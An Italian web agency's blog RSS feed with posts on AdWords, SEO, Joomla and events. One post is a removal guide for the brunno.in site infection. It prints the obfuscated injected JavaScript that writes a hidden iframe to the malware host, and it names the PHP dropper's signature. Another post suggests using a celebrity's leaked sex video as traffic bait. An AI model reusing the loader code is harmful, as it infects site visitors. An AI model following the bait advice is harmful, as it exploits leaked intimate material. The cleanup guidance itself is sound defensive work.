<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog sul Web Marketing ...e non solo - Up Vision</title>
	<atom:link href="http://www.upvision.it/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.upvision.it/blog</link>
	<description>Chi punta in alto... ha deciso di migliorarsi</description>
	<lastBuildDate>Tue, 24 Jan 2012 09:34:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Dimensioni e Formati degli annunci illustrati di Google AdWords</title>
		<link>http://www.upvision.it/blog/pubblicita/dimensioni-e-formati-degli-annunci-illustrati-di-google-adwords</link>
		<comments>http://www.upvision.it/blog/pubblicita/dimensioni-e-formati-degli-annunci-illustrati-di-google-adwords#comments</comments>
		<pubDate>Tue, 24 Jan 2012 09:22:34 +0000</pubDate>
		<dc:creator>Gloria De Salve</dc:creator>
				<category><![CDATA[Pubblicità & Visibilità]]></category>
		<category><![CDATA[adwords]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2227</guid>
		<description><![CDATA[Attrattivi, colorati e punto di forza delle campagne di web marketing, gli annunci illustrati rappresentano un modo efficace per raggiungere nuovi potenziali clienti. Efficace perché oggi il problema non è quello di scegliere una pubblicità, ma di sceglierne una veramente efficace. Proprio per questo la piattaforma pubblicitaria di Google AdWords rappresenta una grande innovazione nell’ambito della [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-2238" title="dimensioni-banner" src="http://www.upvision.it/blog/wp-content/uploads/2012/01/dimensioni-banner-229x300.jpg" alt="dimensioni annunci illustrati Google AdWords" width="229" height="300" />Attrattivi, colorati e punto di forza delle <strong><a href="http://www.upvision.it/web-marketing" >campagne di web marketing</a></strong>, gli <strong>annunci illustrati</strong> rappresentano un modo efficace per raggiungere <strong>nuovi potenziali clienti</strong>. Efficace perché oggi il problema non è quello di scegliere una pubblicità, ma di sceglierne una veramente efficace.</p>
<p>Proprio per questo la piattaforma pubblicitaria di <strong>Google AdWords</strong> rappresenta una grande innovazione nell’ambito della pubblicità online.</p>
<p>Gli annunci illustrati di Google AdWords, sono pubblicati sui siti selezionati dalla <strong>Rete Display</strong>, possono essere immagini statiche o brevi animazioni, pubblicate nel posto giusto al momento giusto e per questo già differenti dai tradizionali annunci grafici online. Vengono inseriti tramite la rete di ricerca e la Rete Display in base ai contenuti dei siti web, permettendo una strategia d’attacco funzionale ad individuare automaticamente i potenziali clienti per allargare il mercato di riferimento o rafforzare quello già esistente.<span id="more-2227"></span></p>
<p>Oggi  con Google AdWords è semplice organizzare una campagna pubblicitaria online, grazie alla possibilità di testare gli annunci per comprenderne la reale efficacia, tracciare un ritorno degli investimenti, lavorare sulla qualità e ridurre i costi della campagna stessa.</p>
<p>Quali sono dunque, i reali vantaggi?</p>
<ul>
<li> scegli tu dove essere visibile</li>
<li> spendi di meno rispetto alla pubblicità tradizionale</li>
<li> aumenti la percezione dell’immagine aziendale</li>
<li> utilizzi un servizio legale e sicuro</li>
<li> catturi l’attenzione di un target di utenti realmente interessati</li>
</ul>
<p>Gli annunci illustrati, proprio per il loro potenziale attrattivo, vengono sottoposti ad approvazione in relazione a determinati requisiti tecnici ed estetici che ciascuna immagine deve possedere: il tipo di file (.JPEG, .JPG, .PNG, .GIF, .SWF), la grandezza delle immagini  ed il peso non superiore a 50KB.</p>
<p><strong>Dimensioni degli annunci illustrati</strong>.</p>
<ul>
<li>Leaderboard per cellulari 300 x 50</li>
<li>Banner 468 x 60</li>
<li>Leaderboard 728 x 90</li>
<li>Quadrato 250 x 250</li>
<li>Quadrato piccolo 200 x 200</li>
<li>Rettangolo grande 336 x 280</li>
<li>Inline Rectangle 300 x 250</li>
<li>Skyscraper 120 x 600</li>
<li>Skyscraper largo 160 x 600</li>
</ul>
<p>Per ulteriori informazioni puoi visionare la guida di <a href="http://support.google.com/adwordspolicy/bin/static.py?hl=it&amp;topic=1310862&amp;guide=1308145&amp;page=guide.cs&amp;answer=176108&amp;rd=2" target="_blank" title="Guida alle norme pubblicitarie di Google Adwords" >norme pubblicitarie di Adwords</a></p>
<p>Viene inoltre verificato che le immagini non contengano sfondi lampeggianti, simulazioni di articoli o di finestre di dialogo di sistema che possano trarre in inganno l&#8217;utente.</p>
<p>Il tutto per permettere una campagna pubblicitaria trasparente e positiva, certamente frutto di un successo monitorato e guidato, al quale oggi ormai  in molti si affidano.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/pubblicita/dimensioni-e-formati-degli-annunci-illustrati-di-google-adwords/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware brunno.in</title>
		<link>http://www.upvision.it/blog/web-design/malware-brunno-in</link>
		<comments>http://www.upvision.it/blog/web-design/malware-brunno-in#comments</comments>
		<pubDate>Wed, 14 Dec 2011 18:40:40 +0000</pubDate>
		<dc:creator>Carmelo Molfetta</dc:creator>
				<category><![CDATA[Web Design & Web developer]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2189</guid>
		<description><![CDATA[Infettati da brunno.in ? brunno.in è un malware che si sta diffondendo nelle ultime ore e infetta siti sviluppati in Joomla e WordPress. All&#8217;apertura dei siti il browser visualizza un messaggio come questo: &#8220;… il sito contiene malware. Il computer potrebbe prendere un virus se visiti questo sito….Google ha rilevato che se prosegui, sul tuo [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-2191" title="Malware brunno.in" src="http://www.upvision.it/blog/wp-content/uploads/2011/12/malware.jpg" alt="" width="350" height="192" />Infettati da<strong> brunno.in</strong> ? brunno.in è un<strong> malware</strong> che si sta diffondendo nelle ultime ore e infetta siti sviluppati in <strong>Joomla e WordPress</strong>.  All&#8217;apertura dei siti il browser visualizza un messaggio come questo: <em>&#8220;… il sito contiene malware. Il computer potrebbe prendere un virus se visiti questo sito….Google ha rilevato che se prosegui, sul tuo computer potrebbero essere installati software dannosi</em>&#8221; .</p>
<p><span id="more-2189"></span></p>
<p>Inoltre, Google potrebbe inserire in SERP, prima dello snippet,  &#8220;Questo sito potrebbe arrecare danni al tuo computer&#8221;.</p>
<p>Se controllate i file .js scoprite subito il mistero, in quanto troverete nuovi file .js rinominati js.php. Nella maggior parte dei casi il problema si risolve ripristinando i file .js. Quindi, rimuovi tutti i file .js.php: puoi individuare i file malevoli dalla dimensione che risulta essere sempre uguale ( 25.354 kb),  iniziano tutti con questo codice &lt;?php eval(gzinflate(base64_decode.</p>
<p>Alla fine fine dei file js originali troverete un codice criptato che deve essere eliminato:<br />
<em>if (undefined === window.dbaaccddcbe) document.write(String.<br />
fromCharCode(60,105,102,114,97,109,101,32,102,114,97,109,101<br />
,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,6<br />
1,34,49,48,34,32,104,101,105,103,104,116,61,34,49,48,34,32,1<br />
15,114,99,61,34,104,116,116,112,58,47,47,98,114,117,110,110,<br />
111,46,105,110,47,115,104,111,119,116,104,114,101,97,100,46,<br />
112,104,112,63,116,61,51,55,50,50,48,51,51,56,34,62,60,47,10<br />
5,102,114,97,109,101,62));</em></p>
<p><em></em><br />
Un consiglio, per individuare i file modificati dal malware controllate la data dell&#8217;ultima modifica dei file javascript, sicuramente la modifica sarà recente.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/web-design/malware-brunno-in/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google sperimenta la navigazione con la tastiera</title>
		<link>http://www.upvision.it/blog/motori-di-ricerca/google-accessible-view</link>
		<comments>http://www.upvision.it/blog/motori-di-ricerca/google-accessible-view#comments</comments>
		<pubDate>Thu, 01 Dec 2011 14:47:10 +0000</pubDate>
		<dc:creator>Carmelo Molfetta</dc:creator>
				<category><![CDATA[Motori di ricerca]]></category>
		<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2177</guid>
		<description><![CDATA[Accessible View, questo è il nome del nuovo test di Google che permette di scorrere con la tastiera i risultati di ricerca in maniera molto rapida. In questo video puoi vedere come ho utilizzato Accesible View: ho effetuato la query “Coca Cola”, ho selezionato l&#8217;ultimo risultato, sono risalito fino a soffermarmi su ciò che più [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Accessible View</strong>, questo è il nome del nuovo <strong>test di Google</strong> che permette di scorrere con la tastiera i risultati di ricerca in maniera molto rapida.<br />
In questo video puoi vedere come ho utilizzato Accesible View:  ho effetuato la query “Coca Cola”, ho selezionato l&#8217;ultimo risultato, sono risalito fino a soffermarmi su ciò che più mi interessava, ho aumenta e diminuito lo zoom su Title e Snippet.<br />
Guarda il video:<br />
<span id="more-2177"></span></p>
<p style="text-align: center;"><iframe width="420" height="315" src="http://www.youtube.com/embed/NmWXijBnZ5A" frameborder="0" allowfullscreen></iframe></p>
<p>Ecco i comandi da testiera per scorrere i risultati di ricerca:</p>
<ul>
<li>j or DOWN  Seleziona l&#8217;elemento successivo</li>
<li>k or UP Seleziona l&#8217;elemento precedente</li>
<li>l or RIGHT 	Passa alla categoria successiva (da risultati organici a link sponsorizzati per esempio)</li>
<li>h or LEFT  Passa alla categoria precedente/li>
<li>Invio  Apre il risultato selezionato</li>
<li>/	 Mette il cursore nella casella di ricerca</li>
<li>n	 Sposta al risultato successivo, e recupera altri risultati, se necessario.</li>
<li>p	 Sposta al risultato precedente, ricaricare risultati precedenti, se necessario</li>
<li>=	Ingrandisce elemento corrente</li>
<li>-	Restringe elemento corrente</li>
<li>A	Attiva Accesible View</li>
<li>W	Ritorna sui normali risultati di ricerca</li>
</ul>
<p>Per ora l’esperimento è attivo solo su Google.com e se utilizzi il browser Firefox puoi richiedere di far parte al test: apri la pagina di <a href="http://www.google.com/experimental/" target="_blank" title="Attiva il test" >Google Experimental Search</a> e clicca su Join This Experiment nella sezione Accessible View.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/motori-di-ricerca/google-accessible-view/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google eTowns Award 2011: Lecce nella Top Ten</title>
		<link>http://www.upvision.it/blog/news-eventi/google-etowns-award-2011-lecce-nella-top-ten</link>
		<comments>http://www.upvision.it/blog/news-eventi/google-etowns-award-2011-lecce-nella-top-ten#comments</comments>
		<pubDate>Thu, 01 Dec 2011 10:06:44 +0000</pubDate>
		<dc:creator>Carmelo Molfetta</dc:creator>
				<category><![CDATA[Eventi & Notizie]]></category>
		<category><![CDATA[adwords]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[lecce]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2168</guid>
		<description><![CDATA[Google, con un comunicato dal suo blog ufficiale, ha assegnato gli eTowns Award 2011, premio che fregia anche Lecce tra le città con il maggior numero di aziende attive sul web. Un particolare osservatorio di Google assegna un riconoscimento, chiamato eTowns Award 2011, alle città italiane che hanno registrato durante l’anno un aumento di aziende [...]]]></description>
			<content:encoded><![CDATA[<p>Google, con un comunicato dal suo blog ufficiale, ha assegnato gli <strong>eTowns Award 2011</strong>, premio che fregia anche<strong> Lecce</strong> tra le <span style="text-decoration: underline;">città con il maggior numero di aziende attive sul web</span>.<br />
Un particolare osservatorio di Google assegna un riconoscimento, chiamato eTowns Award 2011, alle città italiane che hanno registrato durante l’anno un aumento di aziende che utilizzano gli <a href="http://www.upvision.it/campagne-pay-per-click-risultati-certi-e-misurabili" >annunci sponsorizzati AdWords</a> per promuovere il proprio business.</p>
<p>Ecco la Top Ten delle città vincitrici e la percentuale di crescita nel numero di Piccole Medie Imprese:<span id="more-2168"></span><br />
<img class="alignright size-full wp-image-2169" src="http://www.upvision.it/blog/wp-content/uploads/2011/12/crescitaadwordslecce.jpg" alt="" width="300" height="232" /></p>
<ul>
<li>Salerno + 62.3%</li>
<li>Torino + 60.5%</li>
<li>Vicenza + 47.4%</li>
<li>Catania + 44.7%</li>
<li>Lecce + 44.6%</li>
<li>Bari + 43.3%</li>
<li>Cagliari + 42 %</li>
<li>Palermo + 41.1%</li>
<li>Perugia + 39.7%</li>
<li>Bolzano + 36.1%</li>
</ul>
<p>Attenzione però, la classifica non premia le città con il maggior numero di PMI che utilizzano le campagne Pay Per Click per promuoversi, ma come già detto, le città che hanno fatto registrare un aumento in termini percentuali rispetto al passato.</p>
<p>Quale significato ha per Lecce il riconoscimento Google eTowns Award?<br />
C’è sempre maggiore interesse per il Search Marketing e tutte le strategie legate a Internet, questo premio è la tangibilità che finalmente il territorio è  propenso all’innovazione tecnologica e a un miglioramento del modello economico. Internet ormai non è più una lungimiranza per le aziende che vogliono cercare nuovi spazi di mercato, bensì un fatto reale.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/news-eventi/google-etowns-award-2011-lecce-nella-top-ten/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Plugin Sitemap per WordPress: priorità personalizzata</title>
		<link>http://www.upvision.it/blog/web-design/plugin-sitemap-per-wordpress-priorita-personalizzata</link>
		<comments>http://www.upvision.it/blog/web-design/plugin-sitemap-per-wordpress-priorita-personalizzata#comments</comments>
		<pubDate>Wed, 09 Nov 2011 16:30:52 +0000</pubDate>
		<dc:creator>Carmelo Molfetta</dc:creator>
				<category><![CDATA[Web Design & Web developer]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2150</guid>
		<description><![CDATA[Incursione veloce nel blog per suggerirvi un plugin di WordPress per generare una Sitemap in maniera automatica. Spesso abbiamo utilizzato “Google XML Sitemaps” ma aveva un grosso limite: non ci permetteva di poter dare  a post e pagine una priorità personalizzata. Mesi fa, lavorando su un progetto, abbiamo rimediato attraverso un sistema al quanto macchinoso: [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-2153" src="http://www.upvision.it/blog/wp-content/uploads/2011/11/plugin-sitemap-wordpress.jpg" alt="plugin sitemap per wordpress" width="230" height="250" />Incursione veloce nel blog per suggerirvi un <strong>plugin di WordPress</strong> per <strong>generare una Sitemap in maniera automatica</strong>.  Spesso abbiamo utilizzato “Google XML Sitemaps” ma aveva un grosso limite: non ci permetteva di poter dare  a post e pagine una <strong>priorità personalizzata</strong>. Mesi fa, lavorando su un progetto, abbiamo rimediato attraverso un sistema al quanto macchinoso: con la funzione “Escludi articoli o pagine” del plugin abbiamo eliminato dalla sitemap  le URLs a cui volevamo dare maggiore priorità. Tali URLs sono poi state inserite in un&#8217;altra Sitemap creata manualmente con la priorità che noi volevamo. Di conseguenza al Google Web Master Tools avevamo segnalato 2 Sitemaps. Già, una soluzione davvero artificiosa. Ma perché avevamo questa esigenza? <span id="more-2150"></span></p>
<p>La struttura del sito non ci permetteva di distribuire maggiore  importanza a 3 specifici articoli in quanto lontani 2 click dalla home page.<br />
Grazie alla versione 1.0 del plugin &#8220;<a href="http://wordpress.org/extend/plugins/karailievs-sitemap/" target="_blank"  target="_blank">Karailiev&#8217;s sitemap</a>&#8221; siamo riusciti a risolvere la questione. Cancellato “Google XML Sitemaps”  abbiamo installato “Karailiev&#8217;s sitemap”  il quale ci permette di dare una priorità personalizzata a pagine ed articoli.<br />
Altre caratteristiche importanti del plugin:</p>
<ul>
<li>Esclusione di pagine o post</li>
<li>Inclusione degli allegati</li>
<li>Opzione aggiornamento ogni nuovo commento</li>
</ul>
<p>La Sitemap è spesso sottovalutata, ma se utilizziamo correttamente  l’<strong>attributo sitemap priority</strong> al fine di un <strong>migliore posizionamento in SERP</strong>, possiamo indicare al motore di ricerca quali pagine sono per noi più importanti.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/web-design/plugin-sitemap-per-wordpress-priorita-personalizzata/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Up Vision Srl dona un Sito Web al progetto “Prematuramente Insieme”</title>
		<link>http://www.upvision.it/blog/news-eventi/up-vision-srl-dona-un-sito-web-al-progetto-%e2%80%9cprematuramente-insieme%e2%80%9d</link>
		<comments>http://www.upvision.it/blog/news-eventi/up-vision-srl-dona-un-sito-web-al-progetto-%e2%80%9cprematuramente-insieme%e2%80%9d#comments</comments>
		<pubDate>Fri, 28 Oct 2011 07:26:51 +0000</pubDate>
		<dc:creator>Carmelo Molfetta</dc:creator>
				<category><![CDATA[Eventi & Notizie]]></category>
		<category><![CDATA[evento]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2138</guid>
		<description><![CDATA[Up Vision Srl supporta l’iniziativa dell’associazione onlus l’Abbraccio e si è impegnata a realizzare e donare un sito web per il progetto “Genitori e Figli &#8211; Prematuramente Insieme”, a sostegno dei bambini nati prematuramente. Up Vision da sempre attenta ad agire positivamente verso la comunità ha voluto donare il “suo abbraccio” a bambini e genitori [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-2140" src="http://www.upvision.it/blog/wp-content/uploads/2011/10/prematuramenteinsieme.jpg" alt="prematuramente insieme" width="300" height="95" /><strong>Up Vision Srl</strong> supporta l’iniziativa dell<strong>’associazione onlus l’Abbraccio</strong> e si è impegnata a realizzare e donare un <a href="http://www.prematuramenteinsieme.it/" target="_blank" >sito web per il progetto “Genitori e Figli &#8211; Prematuramente Insieme”</a>,  a sostegno dei bambini nati prematuramente.  Up Vision da sempre attenta ad agire positivamente verso la comunità ha voluto donare il “suo abbraccio” a bambini e genitori che devono affrontare una realtà difficile e  inaspettata. Il sito sarà presentato sabato 29 ottobre dall&#8217;amministratore Francesco Fiore a conclusione  del convegno &#8220;Il futuro dei nostri neonati tra ricerca e standard di cura&#8221;.<span id="more-2138"></span><br />
L’Associazione l’Abbraccio costituita nell’aprile del 2007 dai genitori dei neonati prematuri, medici e vigilatrici svolge l’attività di volontariato presso il centro di terapia intensiva neonatale dell’ospedale Vito Fazzi di Lecce.<br />
Nascere prematuramente non è solo una difficoltà per il bambino ma è una situazione difficile da affrontare per i genitori e i medici. Le mamme sono spesso vittime di gravi disagi e sensi di colpa, mentre i papà subiscono la pressione psicologica nel sentirsi inadeguati. Tale condizione non fa che complicare la comunicazione tra i genitori e i medici. In queste difficoltà s’inserisce il progetto “Genitori e Figli &#8211; Prematuramente Insieme”. L’associazione opera per affrontare e superare le vulnerabilità psicologiche di genitori e medici. Madri e padri possono usufruire di un centro di ascolto per colloqui di sostegno, mentre i medici sono sottoposti a indagini per la valutazione degli indici di burn-out (sindrome da stress che colpisce chi opera professioni d’aiuto). Per i bambini nati prematuramente, invece, è previsto un ciclo terapico d’ ippoterapia.  L’ultimo ma sempre ambizioso obiettivo è di costituire una banca del latte donato per aiutare i bambini che ne hanno bisogno.<br />
Propositi e intenti del progetto hanno spinto Up Vision Srl a credere fortemente nell’ operato dell’Associazione l’Abbraccio e si è offerta di fornire loro un nuovo punto di incontro sul web dove trovare informazioni utili, essere informati su iniziative ed eventi, raccogliere le testimonianze dei genitori,  fare domande a volontari e medici.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/news-eventi/up-vision-srl-dona-un-sito-web-al-progetto-%e2%80%9cprematuramente-insieme%e2%80%9d/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla Day per approfondire lo sviluppo dei siti in Joomla</title>
		<link>http://www.upvision.it/blog/news-eventi/joomla-day-per-approfondire-lo-sviluppo-dei-siti-in-joomla</link>
		<comments>http://www.upvision.it/blog/news-eventi/joomla-day-per-approfondire-lo-sviluppo-dei-siti-in-joomla#comments</comments>
		<pubDate>Fri, 21 Oct 2011 16:57:00 +0000</pubDate>
		<dc:creator>Up Vision</dc:creator>
				<category><![CDATA[Eventi & Notizie]]></category>
		<category><![CDATA[Joomla]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2128</guid>
		<description><![CDATA[Sabato 22 Ottobre si terrà a Firenze il Joomla Day presso il Centro Congressi. Il convegno è indirizzato a chi sviluppa nel Web, ai professionisti di Web marketing e a semplici appassionati di Internet. L&#8217; evento è l&#8217;occasione per conoscere e approfondire tutte le potenzialità del CMS. Up Vision sviluppa siti ed e-comerce anche con [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.upvision.it/blog/wp-content/uploads/2011/10/joomla-logo.jpg" target="_blank" ><img class="alignright size-full wp-image-2133" src="http://www.upvision.it/blog/wp-content/uploads/2011/10/joomla-logo.jpg" alt="joomla-logo" width="300" height="205" /></a>Sabato 22 Ottobre si terrà a Firenze il Joomla Day presso il Centro Congressi. Il convegno è indirizzato a chi sviluppa nel Web, ai professionisti di Web marketing e a semplici appassionati di Internet.  L&#8217; evento è l&#8217;occasione per conoscere e approfondire tutte le potenzialità del CMS. Up Vision sviluppa siti ed e-comerce anche con Joomla e perciò <a href="https://www.facebook.com/francesco.fiore1"  target="_blank">Francesco</a> non ha perso occasione per partire in direzione Firenze. Per lui sarà un’occasione per incontrare tante persone che fanno parte della grande Community Italiana di Joomla .<br />
Joomla è un software open source di content management, realizzato in  PHP, che permette un alto grado di personalizzazione nella realizzazione di siti web. Ma quali sono i punti di forza di Joomla? Eccone alcuni, secondo noi:<span id="more-2128"></span></p>
<ul>
<li>La  Community che lo supporta è un vero punto di forza, basti pensare che il forum ufficiale supera i 100.000 post mensili, tutti contenuti utili per chi cerca aiuto.</li>
<li>Caricamento rapido delle pagine web grazie al sistema di caching</li>
<li>Ampia disponibilità di componenti aggiuntivi per personalizzare la funzionalità Core.</li>
<li>Ottimizzazione per i motori di ricerca, ad esempio permette di impostare per ogni pagina i meta tag e creare URLs friendly</li>
<li>Quando il sistema diventa vulnerabile la comunità trova subito la soluzione per rendere nuovamente sicuro il CMS</li>
<li>Facile utilizzo dell&#8217;interfaccia di amministrazione, tradotta anche in Italiano</li>
</ul>
<p>Ecco il programma completo del Joomla Day:<br />
<a href="http://www.upvision.it/blog/wp-content/uploads/2011/10/programmajoomladay.jpg" ><img class="aligncenter size-full wp-image-2131" title="Il programma del Joomla Day 2011" src="http://www.upvision.it/blog/wp-content/uploads/2011/10/programmajoomladay.jpg" alt=" Joomla Day 2011" width="478" height="428" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/news-eventi/joomla-day-per-approfondire-lo-sviluppo-dei-siti-in-joomla/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Il blog è una soluzione anche per un e-commerce Adult?</title>
		<link>http://www.upvision.it/blog/web-marketing/il-blog-e-una-soluzione-anche-per-un-e-commerce-adult</link>
		<comments>http://www.upvision.it/blog/web-marketing/il-blog-e-una-soluzione-anche-per-un-e-commerce-adult#comments</comments>
		<pubDate>Mon, 17 Oct 2011 07:33:56 +0000</pubDate>
		<dc:creator>Up Vision</dc:creator>
				<category><![CDATA[Web Marketing]]></category>
		<category><![CDATA[xxx]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2112</guid>
		<description><![CDATA[Si, principalmente per: Intercettare traffico sulla long tail Dare informazioni di settore Fidelizzare maggiormente gli utenti Attuare strategie di marketing virale Creare un rapporto tra il venditore e il cliente Certamente una premessa è doverosa, bisogna tutelare gli utenti che non vogliono leggere contenuti per adulti, quindi il blog dovrà comunque avere una pagina disclaimer [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.upvision.it/blog/wp-content/uploads/2011/10/viral-marketing.jpg" ><img class="alignright size-full wp-image-2115" src="http://www.upvision.it/blog/wp-content/uploads/2011/10/viral-marketing.jpg" alt="viral-marketing" width="300" height="139" /></a>Si, principalmente per:</p>
<ol>
<li>Intercettare traffico sulla long tail</li>
<li>Dare informazioni di settore</li>
<li>Fidelizzare maggiormente gli utenti</li>
<li>Attuare strategie di marketing virale</li>
<li>Creare un rapporto tra il venditore e il cliente</li>
</ol>
<p>Certamente una premessa è doverosa, bisogna tutelare gli utenti che non vogliono leggere contenuti per adulti, quindi il blog dovrà comunque avere una pagina disclaimer in cui si avvisa che il “sito è VM18”. Inoltre per una maggiore tutela si possono utilizzare  i nuovi <a href="http://www.upvision.it/blog/news-eventi/lancio-registrazione-domini-xxx" title="Come registrare dominio XXX"  target="_blank">domini XXX</a>.</p>
<p><span id="more-2112"></span>Il Blog consente all&#8217;ecommerce online di farsi conoscere e diffondere il proprio brand grazie a contenuti di settore che possano generale visite da keywords poco competitive, ma che la loro somma genera un discreto traffico. Ad esempio, uno stesso articolo può essere recensito più volte ma con nuove forme promozionali.</p>
<p>L’hard è un settore, è come tale ha utenti appassionati che cercano nuove informazioni, che fanno delle domande attraverso il motore di ricerca e di conseguenze vogliono delle risposte. Quindi, il blog non deve essere un mezzo di distribuzione e fruizione gratis di materiale pornografico, ma deve diventare in mezzo fidelizzato e informativo per il proprio target di riferimento.</p>
<p>Il blog può essere utilizzato per generare contenuti virali,  intendiamo creare qualcosa che grazie al suo contenuto riesca espandersi molto velocemente (il settore adult è terreno fertile per queste tipologie di strategie). Anche alcune notizie di gossip, che &#8220;impazzano ciclicamente&#8221;, possono essere utilizzate per sfruttare l’intrinseca viralità che esse hanno, alludo al video hard di Belen Rodriguez comparso in rete in questi giorni, ma non è l&#8217;unico caso: Pamela Anderson, Paris Hilton, Laure Manaudou in passato sono state &#8220;buone esche&#8221; per generare traffico improvviso.</p>
<p>Naturalmente il blog per crescere deve essere aggiornato con continuità, ciò significa che è un progetto a cui dedicare almeno qualche ora a settimana.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.upvision.it/blog/web-marketing/il-blog-e-una-soluzione-anche-per-un-e-commerce-adult/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SEO Show: lo spettacolo in diretta</title>
		<link>http://www.upvision.it/blog/news-eventi/seo-show-lo-spettacolo-in-diretta</link>
		<comments>http://www.upvision.it/blog/news-eventi/seo-show-lo-spettacolo-in-diretta#comments</comments>
		<pubDate>Mon, 26 Sep 2011 08:30:26 +0000</pubDate>
		<dc:creator>Carmelo Molfetta</dc:creator>
				<category><![CDATA[Eventi & Notizie]]></category>

		<guid isPermaLink="false">http://www.upvision.it/blog/?p=2087</guid>
		<description><![CDATA[Avete mai pensato di poter osservare il lavoro di una Web Agency? Adesso è possibile grazie a SEOShow.it, un blog attraverso il quale Up Vision rende visibile la nascita e la crescita dei progetti di alcuni clienti (iniziamo con Maisazi). Perché seguirci? apprendi delle Tecniche SEO conosci nuove Strategie di Web Marketing partecipi ai nostri Test [...]]]></description>
